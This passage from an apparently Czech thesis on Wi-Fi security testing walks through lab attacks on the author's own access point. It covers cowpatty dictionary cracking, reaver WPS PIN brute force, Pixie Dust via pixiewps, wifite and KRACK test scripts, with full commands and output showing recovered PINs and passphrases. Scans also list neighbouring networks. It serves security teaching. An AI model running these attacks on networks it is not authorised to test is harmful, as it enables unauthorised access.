N a obrázku 4.21 je zobrazen jeden paket z původn ího souboru. N a obrázku 4.22 

je ten samý paket ze souboru, k te rý vytvoři l airdecap-ng. Je vidět , že z dešifrovaného 

paketu lze vyčíst mnohem více informací. Podrobnějš í analýzu lze učinit např ík lad 

pomocí programu Wireshark. 

Analogicky jde dešifrovat i W P A pakety. 

airdecap-ng - p abcdefgh WPAPSK-02.cap "TestNet" 

Opět jde pomocí tcpdump porovnat původn í a dešifrovaný soubor (viz obrázky 

4.23 a 4.24. 

| 0 9 : 1 6 : 5 6 . 4 9 6 1 6 6 D a t a I V : 4 7 P a d 2 0 K e y l D 0 

Obr. 4.23: Výs tup tcpdump - zašifrovaný W P A paket 

0 9 : 1 6 : 5 6 . 4 9 6 1 6 6 I P 1 9 2 . 1 6 8 . 1 . 1 0 0 . 4 9 3 9 9 > 1 9 2 . 1 6 8 . 1 . 1 . d o m a i n : 6 2 9 3 7 + A ? c o n n e c t i v 
i t y c h e c k . g s t a t i c . c o m . ( 4 7 ) 

Obr. 4.24: Výs tup tcpdump - dešifrovaný W P A paket 

Výsledek dopadl podle očekávání, dešifrovaný paket obsahuje více informací. 

Ty to ú t o k y tedy nast ín i ly širokou uži tečnost ut i l i ty aircrack-ng. 

4 . 2 C o w p a t t y 

Další ut i l i tou je cowpatty, pomocí k teré je opě t demons t rován ú tok hrubou silou na 

W P A 2 ( P S K ) 
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4.2 .1 Testování W P A 2 ( P S K ) 

Útok h r u b o u s i l o u n a W P A 2 ( P S K ) 

Pomocí cowpatty lze opět demonstrovat ú tok hrubou silou na slabé heslo proti 

síti W P A 2 . V principu je t éměř stejný jako předchozí ú tok pomocí aircrack-ng. V 

urči tých př ípadech je však rychlejší. Pr incip spočívá v tom, že si cowpatty p ředem 

vypoč í t á možné P M K za pomoci jakéhokoliv slovníku (tedy 1 P M K pro každé heslo 

ze slovníku). Cowpatty pak pomocí p řepoč í taných P M K a zachycené čtyřcestné 

výměny zjistí, jaké heslo bylo použi to . Teoreticky se tak s amotný ú tok zrychlí. 

• 
Klient 

Ctyřcestná 
výměna 

-I Router 

Slovník Airodump-ng: 
zachycení 

Genpmk: Vypočítá možné 
P M K na základě slovníku 

I 

Soubor .cap 

Soubor s P M K 

Cowpatty: 
Zjistí použitý klíč W P A klíč 

] 
Testovací P C 

Obr. 4.25: Schéma ú toku hrubou silou pomocí Cowpatty 

P r v n í m krokem je vygenerování P M K , k tomu je využ i ta součást cowpatty, ut i l i ta 

genpmk. Jako slovník bude opět využit nmap.lst. Je p o t ř e b a specifikovat SSID A P . 

genpmk - f / u s r / s h a r e / w o r d l i s t s / n m a p . l s t -d CowpattyTest 
-s "TestNet" 
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r o o t @ o s b o x e s : ~ # g e n p m k - f / u s r / s h a r e / w o r d l i s t s / n m a p . 1 s t - d C o w p a t t y T e s t - s " T e s t N e t " 
g e n p m k 1 . 3 - W P A - P S K p r e c o m p u t a t i o n a t t a c k . < j w r i g h t @ h a s b o r g . c o m > 
F i l e C o w p a t t y T e s t d o e s n o t e x i s t , c r e a t i n g , 
k e y n o . 1 0 Q Q : p i n k g i r l 

1 6 4 1 p a s s p h r a s e s t e s t e d i n 5 . 8 3 s e c o n d s : 2 8 1 . 3 8 p a s s p h r a s e s / s e c o n d 
r o o t @ o s b o x e s : # | 

Obr. 4.26: Výs tup genpmk 

N a obrázku 4.26 je vidět výpis genpmk. Rychlost, kterou generoval P M K byla 

281,38 hesel za sekundu. 

Nyní je p o t ř e b a zachytit č tyřces tnou výměnu mezi klientem a A P . To je prove­

deno úplně stejně jako v minu lém př ípadě: 

airodump-ng wlanO -c 11 -b F4:EC:38:B2 : 55:F2 -w CoWPAtty 

Po zachycení už použijeme cowpatty k s a m o t n é m u cracknut í hesla, 

cowpatty -d CowpattyTest -s "TestNet" - r CoWPAtty-02.cap 

r o o t @ o s b o x e s : # c o w p a t t y - d C o w p a t t y T e s t - s " T e s t N e t " - r C o W P A t t y - 0 2 . c a p 
c o w p a t t y 4 . 8 - W P A - P S K d i c t i o n a r y a t t a c k . < j w r i g h t @ h a s b o r g . c o m > 

C o l l e c t e d a l l n e c e s s a r y d a t a t o m o u n t c r a c k a g a i n s t W P A 2 / P S K p a s s p h r a s e . 
S t a r t i n g d i c t i o n a r y a t t a c k . P l e a s e b e p a t i e n t . 

T h e P S K i s " a b c d e f g h " . 

7 3 1 p a s s p h r a s e s t e s t e d i n 0 . 0 0 s e c o n d s : 1 4 8 0 6 5 . 6 2 p a s s p h r a s e s / s e c o n d 
r o o t @ o s b o x e s : # | 

Obr. 4.27: Crackování hesla pomocí cowpatty 

Jak je vidět na obrázku 4.27, rychlost crackování je 148066 hesel za sekundu. 

V porovnán í s aircrack-ng, k te rý měl rychlost 2601 hesel za sekundu, je to tedy 

skokový ná růs t . V tomto př ípadě to ú tok neurychluje z důvodu malého slovníku, ale 

v př ípadě , kdy by slovník měl t ř e b a miliony různých hesel, by byl rozdíl znatelný. 

Samozřejmě je t ř eba b r á t na vědomí, že generování P M K je stále poměrně pomalý 

proces. 

Tato verze ú toku hrubou silou tedy potenciá lně umožňuje mnohem rychlejší vý­

sledky. 

4 . 3 r e a v e r a p i x i e w p s 

Tyto dvě uti l i ty jsou úzce spojeny. Pomocí obou jde zaútoč i t na A P používající 

W P S . Jak bylo popsáno v kapitole 3.2.3 Testovací programy, pixiewps je j ednoduš í 

spustit rovnou skrze reaver. Pomocí těchto util i t byl proveden ú tok na P I N a ú tok 

Pixie Dust. 
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4.3 .1 Testování W P S 

Nejprve je dobré si ověřit , zdaje W P S opravdu zapnu té v nas tavení A P pod názvem 

QSS (Quick Secure Setup). V tomto př ípadě je nas tavený P I N kód 09191174 (viz 

obrázek 4.28). 

Q S S ( Q u i c k S e c u r e S e t u p ] 

Q S S Sta tus : E n a b l e d Disable Q S S 

C u r r e n t P IN : 0 9 1 9 1 1 7 4 RestorePIN Gen New PIN 

Obr. 4.28: Nas tavení P I N u QSS 

Útok n a P I N 

Útok je v principu jednoduchý, reaver se bude zkoušet autentizovat k A P pomocí 

různých P I N kódů. Nejdříve zjistí p rvn í čtyři číslice, a po t é zbývající čtyřčíslí. Zne­

užívá tak malého p o č t u kombinací a způsobu, k t e r ý m A P odpovídá na špa tné P I N 

kódy (viz kapitola 2.3 Zranitelnosti W P S ) . Schéma ú toku je na obrázku 4.29. 

P r v n í m krokem ú t o k u je zjistit, k teré A P v okolí maj í W P S povolené. K tomu 

slouží př íkaz wash: 

wash - i wlanO 

r o o t j i o s b o x e s : # w a s h - i w l a n O 
B S S I D C h dBm WPS L e k V e n d o r E S S I D 

0 4 : 8 D : 3 8 : 0 9 : C 1 9 4 2 - 7 3 1 O N o R e a l t e k S V D I P 9 
D 4 : 6 E : 0 E : 7 A : 4 9 D2 2 - 7 3 1 0 N o A t h e r o s C T P - L I N K E x t e n d e r 7 A 4 0 D 2 
7 8 : C 1 : A 7 : 0 9 : F 2 E 8 3 - 6 5 2 O N o R a l i n k T e M u j 0 2 I n t e r n e t _ 0 9 F 2 E 8 
5 4 : 6 7 : 5 1 : C l : 2 4 3 5 6 - 7 3 2 O N o R a l i n k T e U P C 8 7 F 3 D 9 7 
3 8 : 4 3 : 7 D : 6 1 : B B : A B 6 - 7 7 2 0 N o R a l i n k T e S t a b l e c o n n e c t i o n 
2 0 : 2 B : C 1 : 9 8 : B 4 D4 9 - 7 7 1 O N o R a l i n k T e I n t e r n e t 
F 4 : E C : 3 8 : B 2 : 5 5 F 2 1 1 - 2 3 1 0 N o A t h e r o s C T e s t N e t 
2 8 : F F : 3 E : 3 4 : 5 4 : 0 A 1 1 - 7 1 2 0 N o R a l i n k T e L o c a l B a r b e r S h o p 
E C : 4 3 : F 6 : 7 7 : 6 6 F 8 1 1 - 8 1 1 0 N o R a l i n k T e A n d u l k o v i 

Obr. 4.30: Výpis ut i l i ty wash 

Ve výpisu 4.30 jsou vidět okolní A P , k teré mají W P S povolené včetně několika 

důležitých informací. Sloupec W P S ukazuje, kterou verzi W P S A P používá. Verze 

2.0 mohou být těžší k napaden í , pro tože mohou obsahovat některé ochranné prvky, 

především omezení p o č t u pokusů . Nejdůležitější je sloupec Lek, k te rý ukazuje, zda 
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1 
Testovací P C 

Reaver - PIN: 12345670 

Zkoušení dalších 
častých PIN kódů 

PIN: 00015677 

PIN: 00025676 

Router s W P S 
PIN=09191174 

Spatný PIN 

Spatný PIN 

Špatný PIN 

PIN:09195677 
První 4 číslice 

správne 
První 4 číslice 

správne 

PIN:09190009 PIN:09190009 
První 4 číslice 

správne 
První 4 číslice 

správne 

PIN: 09191174 PIN: 09191174 

Správný PIN —1 Správný PIN —1 
— PIN = 09191174 

Obr. 4.29: Zjednodušené schéma ú t o k u na P I N pomocí ut i l i ty reaver 

je W P S tzv. zamčené (Locked), v tomto stavu bude A P o d m í t a t pokusy o zadání 

P I N u . 

Po vybrán í vhodného A P lze provést s amotný ú tok pomocí ut i l i ty reaver: 

reaver - i wlanO -b F4:EC:38:B2 : 55:F2 --no-nacks -vv 

Reaver teď pos tupně bude zkoušet všechny možné P I N kódy, dokud se netrefí. 

Jak bylo popsáno v kapitole W P S , stačí u h á d n o u t p rvn í čtyřčíslí a pak už pouze 

zbývá u h á d n o u t další trojčíslí. Poslední číslice je kontrolní součet. Reaver nejdříve 

začne s něk te rými P I N kódy, k teré se často objevují v zák ladn ím nas tavení , a po t é 

postupuje podle abecedy, nejdříve pouze mění první čtyřčíslí. Periodicky oznamuje 

procento kompletace ú toku a rychlost jakou pracuje. V p r ů b ě h u ú toku se tato hod­

nota pohybovala kolem 1 P I N za 4 sekundy. 
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r o o t l f i o s b o x e s : # r e a v e r - i w l a n O - b F 4 : E C : 3 8 : B 2 : 5 5 : F2 - n o - n a c k s - v v 

R e a v e r v l . 6 . 5 - g i t - 6 8 - g a 7 b 3 9 0 8 W i F i P r o t e c t e d S e t u p A t t a c k T o o l 
C o p y r i g h t ( c ) 2 0 1 1 , T a c t i c a l N e t w o r k S o l u t i o n s , C r a i g H e f f n e r < c h e f " 
1 . c o m > 

[ ? ] R e s t o r e p r e v i o u s s e s s i o n f o r F 4 : E C : 3 8 : B 2 : 5 5 : F 2 ? [ n / Y ] n 
[+] W a i t i n g f o r b e a c o n f r o m F 4 : E C : 3 8 : B 2 : 5 5 : F 2 
[+] S w i t c h i n g w l a n O t o c h a n n e l 6 
[+] R e c e i v e d b e a c o n f r o m F 4 : E C : 3 8 : B 2 : 5 5 : F 2 
[+] V e n d o r : A t h e r o s C 
[+] T r y i n g p i n " 1 2 3 4 5 6 7 0 " 
[+] S e n d i n g a u t h e n t i c a t i o n r e q u e s t 
[+] S e n d i n g a s s o c i a t i o n r e q u e s t 
[+] A s s o c i a t e d w i t h F 4 : E C : 3 8 : B 2 : 5 5 : F 2 ( E S S I D : T e s t N e t ) 

Obr. 4.31: Spuštění ut i l i ty reaver 

[ + ] T r y i n g p i n " 0 9 1 B 5 6 7 B " 
[ + ] S e n d i n g a u t h e n t i c a t i o n r e q u e s t 
[ + ] S e n d i n g a s s o c i a t i o n r e q u e s t 

[ +] A s s o c i a t e d w i t h F 4 : E C : 3 8 : B 2 : 5 5 : F 2 ( E S S I D : T e s t N e t ) 
[ + ] S e n d i n g E A P O L S T A R T r e q u e s t 

[ + ] R e c e i v e d i d e n t i t y r e q u e s t 
[ + ] S e n d i n g i d e n t i t y r e s p o n s e 

[ +] R e c e i v e d i d e n t i t y r e q u e s t 

[ + ] S e n d i n g i d e n t i t y r e s p o n s e 
[ + ] R e c e i v e d M l m e s s a g e 

[ + ] S e n d i n g M2 m e s s a g e 
[ + ] R e c e i v e d M3 m e s s a g e 
[ + ] S e n d i n g M4 m e s s a g e 

[+] R e c e i v e d WSC N A C K 
[ + ] S e n d i n g WSC N A C K 
[ + ] T r y i n g p i n " 0 9 1 9 5 6 7 7 " 

[+] S e n d i n g a u t h e n t i c a t i o n r e q u e s t 
[ + ] S e n d i n g a s s o c i a t i o n r e q u e s t 
[ + ] A s s o c i a t e d w i t h F 4 : E C : 3 8 : B 2 : 5 5 : F 2 ( E S S I D : T e s t N e t ) 

[ +] 
[ + ] 

S e n d i n g E A P O L S T A R T r e q u e s t 
R e c e i v e d i d e n t i t y r e q u e s t 

[ + ] S e n d i n g i d e n t i t y r e s p o n s e 
[ + ] R e c e i v e d i d e n t i t y r e q u e s t 

[ + ] S e n d i n g i d e n t i t y r e s p o n s e 
[ + ] R e c e i v e d M l m e s s a g e 
[ + ] S e n d i n g M2 m e s s a g e 
[ + ] R e c e i v e d M3 m e s s a g e 

[ + ] S e n d i n g M4 m e s s a g e 
[ + ] R e c e i v e d M5 m e s s a g e 

[ + ] S e n d i n g M6 m e s s a g e 

[ + ] R e c e i v e d WSC N A C K 
[ + ] S e n d i n g WSC N A C K 

[ +] T r y i n g p i n " 0 9 1 9 0 0 0 9 " 

Obr. 4.32: Zjištění p rvn ího čtyřčíslí W P S P I N kódu 

N a obrázku 4.31 je vidět začátek ú toku a p rvn í zkoušený P I N - 1234567. N a ob­

rázku 4.32, vidíme situaci přibližně po 1 hodině . Reaver se dostal k P I N u začínajícím 

na čtyřčíslí 0918 a vypíše nás lednou výměnu s A P , k t e rá končí zprávou M 4 . Následně 
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př is toupí k čtyřčíslí 0919, k te ré je správné . Je vidět , že se t en tokrá t dostane až ke 

zprávě M 6 . Reaver tedy ví, že 0919 je správně a přejde k P I N u 09190009. Dále už 

tedy mění pouze poslední čtyři číslice. 

N a obrázku 4.33 jde vidět finální úspěšný výs tup . Po 5200 sekundách (přibližně 1 

a půl hodině) se W P S konečně dobere ke správnému P I N u 09191174. Dále už pouze 

zjistí používané heslo P S K . 

[+] T r y i n g p i n , ' 0 9 1 9 1 1 7 4 " 
[+] S e n d i n g a u t h e n t i c a t i o n r e q u e s t 
[ +] S e n d i n g a s s o c i a t i o n r e q u e s t 
[+] A s s o c i a t e d w i t h F 4 : E C : 3 8 : B 2 : 5 5 : F 2 ( E S S I D : T e s t N e t ) 
[+] S e n d i n g E A P O L S T A R T r e q u e s t 
[ +] R e c e i v e d i d e n t i t y r e q u e s t 
[ +] S e n d i n g i d e n t i t y r e s p o n s e 
[+] R e c e i v e d i d e n t i t y r e q u e s t 
[ +] S e n d i n g i d e n t i t y r e s p o n s e 
[+] R e c e i v e d M l m e s s a g e 
[+] S e n d i n g M2 m e s s a g e 
[ +] R e c e i v e d M3 m e s s a g e 
[ +] S e n d i n g M4 m e s s a g e 
[ +] R e c e i v e d M5 m e s s a g e 
[ +] S e n d i n g M6 m e s s a g e 
[+] R e c e i v e d M7 m e s s a g e 
[+] S e n d i n g WSC NACK 
[+] S e n d i n g WSC NACK 
[ +] 1 0 0 . 0 0 ? . ; c o m p l e t e @ 2 0 1 9 - 1 2 - 1 7 1 7 : 2 5 : 3 4 ( 4 s e c o n d s / p i n ) 
[ +] P i n c r a c k e d i n 5 2 0 0 s e c o n d s 
[+] WPS P I N : ' 0 9 1 9 1 1 7 4 ' 
[ +] WPA P S K : ' a b c d e f g h ' 
[ +] A P S S I D : ' T e s t N e t ' 

Obr. 4.33: Zjištění P I N kódu pomocí reaver 

Tento ú tok sice p a t ř í mezi pomalejší , ale pokud je n a p a d e n ý A P zranitelný, j edná 

se o poměrně j is tý způsob k úspěšnému získání používaného hesla. 

Útok P i x i e D u s t 

Tento ú tok využívá zranitelnosti Pixie Dust popsané v kapitole 2.3 Zranitelnosti 

W P S . K tomuto ú toku lze využí t u t i l i tu pixiewps spuš těnou skrze reaver. Ten pro­

vede pokus o W P S autentizace, ze k te rého zjistí po t ř ebné údaje . Spolu s typem 

routeru pak tyto údaje p ředá ut i l i tě pixiewps, k t e r á vypoč í t á možný P I N . Reaver 

po té tento P I N vyzkouší a pokud je správný, zjistí používané P S K heslo. Schéma 

ú toku je na obrázku 4.34. 

N a Pixie Dust je náchylné pouze malé procento rou te rů , a je tak p ravděpodob­

nější, že neuspěje. Pro t i t es tovanému routeru „Tes tNet" např ík lad není úspěšný. 

Naš těs t í v las tněný domácí router tuto zranitelnost obsahuje a je možné na něj pi­

xiewps použí t . Jelikož se ne jedná o součást l abora toře budou údaje skryty. Pixiewps 

lze spustit pomocí argumentu „-K": 
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Testovací P C 
1 

Router s W P S 

Zjištění čísel: 
AuthKey 

N I 
P K E 
P K R 

E-Hash 1 
E-Hash 2 

W P S PIN 
WPA P S K 

Reaver W P S Výměna 

Reaver spustí 
Pix ieWPS s 

požadovanými 
argumenty 

PixieWPS: 
Vypočítá možný 

PIN 

Reaver zjistí P S K 

Reaver: 
Zkusí se 

autentizovat 
pomocí PIN kódu 

Úspěšná 
autentizace 

Obr. 4.34: Zjednodušené schéma ú toku Pixie Dust pomocí utilit reaver a pixiewps 

reaver - i wlanO -b <BSSID routeru> -c 9 -vv --no-nacks -K 

Pixiewps dokáže zjistit P I N i heslo t éměř okamži tě . Výpis na obrázku 4.35 uka­

zuje několik zaj ímavých informací. Zaprvé, doba crackování byla pouhých 34 ms. 

Dále lze vidět , že n a p a d e n ý router používá jako čísla E S I a ES2 samé 0. Jak bylo 

popsáno v kapitole Pixie Dust, tato čísla by měla být n á h o d n ě vygenerovaná čísla 

„nonce". Jejich nepř í tomnos t dělá prolomení W P S tr iviální . F iná lně je vidět výs tup 

správného P I N u a P S K . 

Pixie Dust je tedy z vyzkoušených potenciá lně nejúčinnějším ú tokem, dokáže 

prolomit zrani te lný router b ě h e m zlomku sekundy. 

4 . 4 W i f i t e 

Pomocí t é t o ut i l i ty lze provést mnohé z předchozích ú toků jen pomocí několika málo 

př íkazů. Jako př íklad užívání wifite byl zvolen ú tok proti W P A 2 síti. 

4.4 .1 Útok n a W P A 2 ( P S K ) 

P r v n í m krokem je zapnu t í ut i l i ty př íkazem 

w i f i t e 
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Pixiewps 1.4 

[7] Mode: 
[*] Seed Nl: 
[*] Seed ESI: 
[*] Seed ES2: 
[*] PSK1: 
[*] PSK2: 
[*] ESI: 
[*] ES2: 
[+] WPS pin: 

1 (RT/MT/CL) 
0xd3708367 
0x00000000 
OxOOOOOOOO 

00000000000000000000000000000000 
00000000000000000000000000000000 

[*] Time taken: O s 34 ms 

[+ 
[ + 
[ + 
[ + 
[ + 
[ + 
[ + 
[ + 
[ + 
[ + 
[ + 
[ + 
[ + 
[ + 
[+ 

Pixiewps: success: s e t t i n g pin to 
Received M3 message 
Sending M4 message 
Received M5 message 
Sending MS message 
Received M7 message 
Sending WSC NACK 
Sending WSC NACK 
Updated PI array 
Updated P2 array 
Q u i t t i n g a f t e r pixiewps attack 
Pin cracked i n 6 seconds 
WPS PIN: 
WPA PSK 
AP SSID 

root@osboxes: # | 

Obr. 4.35: Útok Pixie Dust pomocí pixiewps 

Wifite okamži tě udělá sken sítě, p o d o b n ě jako airodump-ng. Informace jsou však 

zobrazeny více uživatelsky přívětivé (viz obrázek 4.36). Po ukončení skenu dá wifite 

na výběr z nalezených sítí, uživatel pouze vybere číslo, k t e r ý m jsou označené. Je tu 

také možnost vybrán í více než jedné sítě. V tomto testu je v y b r á n pouze TestNet. 

Jelikož TestNet m á povolené W P S , jako prvn í ú tok vyzkouší wifite Pixe Dust. 

Ten ovšem nevyjde, a tak př is toupí k ú toku na P I N . Jak již bylo demonst rováno, 

tento ú tok může trvat několik hodin. Tento ú tok je tedy lepší přeskočit . To lze 

uděla t j e d n o d u c h ý m přerušen ím pomocí C t r l + C. Wifite se zeptá , zda pokračovat 

v útocích nebo komple tně ukončit ut i l i tu . Po výbě ru pokračování už p rob íhá ú tok 

hrubou silou proti W P A 2 ( P S K ) heslu. Wifite po t řebuje zachytit autentizaci mezi 

A P a klientem a po t é už pouze crackne použi té heslo. Postup je tedy stejný jako v 

demons t rovaném ú toku pomocí aircrack-ng, pouze automat izovaný. 

Jak lze vidět na obrázku 4.37, finálním výsledkem je správně zjištěné heslo. Wifite 

t aké informuje, že zjištěné heslo a údaje jsou uloženy v souboru „cracked.txt". 
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r o o t @ o s b o x e s : # w i f i t e 

/ " ' \ 

. w i f i t e 2 . 2 . 5 
a u t o m a t e d w i r e l e s s a u d i t o r 
h t t p s : / / g i t h u b . c o m / d e r v 8 2 / w i f i t e 2 

[ ! ] W a r n i n g : R e c o m m e n d e d a h c x d u m p t o o l w a s n o t f o u n d , i n s t a l l @ n t t p s : / / g i t h i 
b . c o m / Z e r B e a / h c x d u m p t o o l 

[ ! ] W a r n i n g : R e c o m m e n d e d a p p h c x p c a p t o o l w a s n o t f o u n d , i n s t a l l @ h t t p s : / / g i t h i 
b . c o m / Z e r B e a / h c x t o o l s 

[ + ] U s i n g w l a n B a l r e a d y i n m o n i t o r mode 

NUM E S S I D CH ENCR POWER WPS? 

1 T e s t N e t 11 WPA 6 6 d b y e s 
2 S k y n e t 8 WPA 4 0 d b no 
3 UPC W i - F r e e 8 WPA 4 0 d b no 
4 I n t e r n e t 9 WPA 3 0 d b y e s 
5 V 0 I P 9 2 WPA 2 9 d b y e s 
6 U P C 8 7 F 3 D 9 7 6 WPA 2 7 d b y e s 
7 T P - L I N K E x t e n d e r 7 A 4 0 D 2 2 OPN 2 6 d b y e s 
8 UPC W i - F r e e 6 WPA 2 6 d b no 
9 M u j 0 2 I n t e r n e t _ 0 9 F 2 E 8 11 WPA 2 6 d b y e s 

10 L o c a l B a r b e r S h o p 11 WPA 2 5 d b y e s 
11 U P C 3 7 9 4 7 6 3 6 WPA 2 5 d b y e s 
12 U P C 3 7 9 4 7 6 3 6 WPA 2 4 d b y e s 
13 S t a b l e c o n n e c t i o n 6 WPA 2 2 d b y e s 
14 UPC W i - F r e e 6 WPA 2 2 d b no 
15 KOBU 11 WPA 2 0 d b no 

[+] s e l e c t t a r g e t ( s ) ( 1 - 1 5 ) s e p a r a t e d b y c o m m a s , d a s h e s o r a l l : | 

Obr. 4.36: Sken provedený uti l i tou wifite 

Wifite je tedy zaj ímavou alternativou, protože tes tování velice zjednodušuje a 

pokrývá širokou škálu vektorů ú toku . 

[+] C r a c k i n g WPA H a n d s h a k e : R u n n i n g a i r c r a c k -
t x t w o r d l i s t 

ng w i t h w o r d l i s t - t o p 4 8 0 0 - p r o b a b l e . 

[+] C r a c k i n g WPA H a n d s h a k e : 4 8 18% E T A : OS e 2 7 7 7 l k p s ( c u r r e n t k e y : i m a g i n a t i o 
[+] C r a c k i n g WPA H a n d s h a k e : 5 6 3 5 % E T A : Os @ 2 7 4 9 6 k p s ( c u r r e n t k e y : i m a g i n a t i o 
[+] C r a c k i n g WPA H a n d s h a k e : 9 1 5 2 % E T A : Os <3 2 7 6 1 2 k p s ( c u r r e n t k e y : 1 3 5 7 9 2 4 6 8 0 
[+] C r a c k i n g WPA H a n d s h a k e : 9 9 3 5 % E T A : Os @ 2 7 3 5 9 k p s ( c u r r e n t k e y : 1 3 5 7 9 2 4 6 8 0 
[+] C r a c k i n g WPA H a n d s h a k e : 9 9 3 5 % E T A : OS e 2 7 3 5 9 k p s ( c u r r e n t k e y : c r o c o d i l ) 
[+ 

[+ 
[+ 
[+ 
[+ 

0 - 1 4 
[ + 
[ + 
[ + 

C r a c k e d WPA H a n d s h a k e P S K : a b c d e f g h 

T e s t N e t 
F 4 : E C : 3 8 : B 2 : 5 5 : F 2 
WPA 
h s / h a n d s h a k e T e s t N e t F 4 - E C - 3 8 - B 2 - 5 5 - F 2 2 0 1 9 - 1 2 - 1 8 T 1 2 - 4 

A c c e s s P o i n t Name 
A c c e s s P o i n t B S S I D 

E n c r y p t i o n 
H a n d s h a k e F i l e 

. c a p 
P S K ( p a s s w o r d ) : a b c d e f g h 

s a v e d c r a c k r e s u l t t o c r a c k e d . t x t (4 t o t a l ) 
F i n i s h e d a t t a c k i n g 1 t a r g e t ( s ) , e x i t i n g 

Obr. 4.37: Úspěšný ú tok uti l i tou wifite 
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4 . 5 F e r n W i F i C r a c k e r 

Poslední testovanou uti l i tou je Fern wifi. J akož to program s G U I , stačí jej pouze za­

pnout z nab ídky uti l i t . V h lavním okně lze vidět hlavní položky jako výběr rozhraní , 

sken A P , da t abáz i klíčů a výběr ú toků na W E P a W P A sítě (viz obrázek 4.38). 

Fem WIFI Cracker 

Fgrn WIFI Cracker 3.0 

Una ble to check for updates, network timeout 

Python Version: 3.7.5 default 

Aircrack Version: rc rack-ng LS.2 - (C| 

Qt Version: 5.111 

About Fern WIFI Cracker 

Select Interface 

Select an interface card 

«0> 

WEP 

W P A 

K*y Database 

ToolBís 

GUI suite fór wireless encryption strength testing of 802:11 wireless encryption standard access points 

Written by Savicm r Emmanuel Ekiko Report Bugs at: savioboyľ^yrocketmail.cam 

0 O 

"5J Refresh 

Scan for Access points 

Detection Status 

Detection Status 

No Key Entries 

Obr. 4.38: Hlavní obrazovka Fern W i F i Cracker 

P r v n í m krokem by měl být výběr používaného bezdrá tového rozhraní , k te ré Fern 

změní do moni torovacího režimu. Bohužel, v p ř ípadě provedeného tes tování se tento 

krok nezdaři l . V př ípadě , že už rozhran í wlanO je v moni torovacím režimu, se Fern po 

výbě ru akorát b ě h e m nač í tán í zasekne a nikdy výběr nedokončí (viz obrázek 4.39). 
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V př ípadě , že rozhraní wlanO není v moni torovacím režimu, fern vypíše hlášku, že 

došlo k problému (viz obrázek 4.40). 

Refresh 

Obr. 4.39: Nač í tán í rozhran í v moni torovacím režimu 

t u w l a n O * R e f r e s h 

p r o b l e m o c c u r e d w h i l e s e t t i n g u p t h e m o n i t o r m o d e o f s e l e c t e d 

Obr. 4.40: Neúspěšné nas tavení moni torovacího režimu 

Je p ravděpodobné , že p rob lém spočívá ve zvolené W i - F i ka r t ě a způsobu, j a k ý m 

byl moni torovací režim povolen. Je možné, že s j i ným a d a p t é r e m by bylo tes tování 

úspěšné. 

4 .6 K R A C K 

4.6 .1 k r a c k a t t a c k s - s c r i p t s 

Balíček skr ip tů krackattacks-scripts obsahuje dva testy - test klienta a A P . Než však 

lze testy provést , je n u t n é projí t u rč i tým nas tavením. Po nainsta lování prerekvizit 

je nutno spustit přiložený skript na vypnu t í hardwarového šifrování, k teré by mohlo 

ovlivnit testy: 

. / k r a c k a t t a c k / d i s a b l e - h w c r y p t o . s h 

Po tomto kroku je doporučeno restartovat P C , či v tomto př ípadě v i r tuá ln í po­

čítač. Následně pomocí př íkazů spuš t ěným v hlavní složce skr iptů: 

cd hostapd 
cp d e f c o n f i g . c o n f i g 
make - j 2 

, dojde ke kompilaci při loženého hostapd - software, k te rý dokáže na síťové ka r t ě 

simulovat p ř í s tupový bod. V UI menu nas tavení sítě (v K a l i se toto nas tavení nachází 

v p ravém horn ím rohu) je p o t ř e b a vypnout W i F i a po t é spustit př íkaz: 

sudo r f k i l l unblock w i f i 
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, k t e rý sk r ip tům umožní W i F i stále používat . T í m je hlavní nas tavení dokončeno 

a skripty lze používat . 

K t e s t ů m je samozřejmě p o t ř e b a bezdrá tového rozhraní , k te ré opět lze zkontro­

lovat př íkazem 

iwconf i g 

V zák ladn ím nas tavení používají skripty rozhraní wlanO, což se dá změni t bud v 

konfiguračním souboru „hos tapd /hos tapd .conf" v ř á d k u 

interface=wlanO 

Alte rna t ivně lze při používání skr ip tů použí t argument , , - i " následovaný názvem 

rozhraní . V př ípadě provedených t e s tů bylo použi to rozhran í wlanO, a tak nebylo 

n u t n é nic měni t . Nakonec se je ješ tě p o t ř e b a ujistit, že tes tované zařízení používá k 

získání IP adresy D H C P , což lze zjistit v nas tavení W i F i . 

Skript „krack-test-cl ient .py" obsahuje 6 různých tes tů , k te ré jsou spuš těny v zá­

vislosti na použi tých argumentech. Všechny klientské testy fungují stejně, po zapnu t í 

testu je p o t ř e b a připoj i t klientské zařízení k nově vy tvořenému A P „ tes tne towrk" s 

heslem „abcdefgh". Skript pak vyhodnot í , zda je zařízení zrani te lné nebo ne. 

Pokud je skript spuš těn bez a rgumen tů , 

. / k r a c k - t e s t - c l i e n t . p y 

dojde k h lavnímu testu znovupouži t í klíčů. P ř i tomto testu skript opakovaně 

posílá klientovi t ře t í zp rávu č tyřces tné výměny a sleduje, jaké klíče klient používá, 

v p ř ípadě , že dojde ke znovupouži t í (respektive znovupouži t í s tejného IV) , j e d n á se 

o zranitelnost. 

Dále lze použí t následující argumenty, k teré každý spus t í trochu j iný test. 

. / k r a c k - t e s t - c l i e n t . p y - - r e p l a y - b r o a d c a s t 

zkouší, zda klient př i j ímá rámce broadcast, k teré byly poslané znovu. 

. / k r a c k - t e s t - c l i e n t . p y --group - - g t k i n i t 
zkouší chybnou implementaci skupinových klíčů. Když klient př i jme skupinový 

klíč, uchovává si zároveň i hodnotu R C S (Receive Sequence Counter), k t e rá se při 

každé implementaci klíče zvyšuje. V některých implementacích je však tato hodnota 

ignorována a zůs tává nulová. 

. / k r a c k - t e s t - c l i e n t . p y --group 

zkouší chybnou implementaci skupinových klíčů, při k teré dojde k opakování IV, 

je to tedy obdoba prvn ího testu. Je nutno podotknout, že pokud zařízení neprojde 

„replay-broadcas t" testem, pak je možné, že je tento test špa tně vyhodnocen. 

. / k r a c k - t e s t - c l i e n t . p y - - t p t k 
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je t éměř identický s h lavním testem s t í m rozdílem, že navíc před pos lán ím t ře t í 

zprávy pošle zfalšovanou prvn í zprávu č tyřces tné výměny, což opět může způsobi t 

znovupouži t í klíče. 

. / k r a c k - t e s t - c l i e n t . p y - - g t k i n i t 

opakovaně provádí č tyřces tnou výměnu a zjišťuje, zda je správně p o č í t á n a hod­

nota R S C . Oproti přechozím t e s t ů m je však velmi nespolehlivý a funguje jen v 

ideálních p o d m í n k á c h jako malé rušení v okolí. 

Výpis 4 .1 : Výpis kl ientského testu K R A C K 

wlanO: STA 20:47:da: 16 aO 17 IEEE 802.il: associated 
wlanO: AP-STA-CONNECTED 20:47:da:16:aO:17 
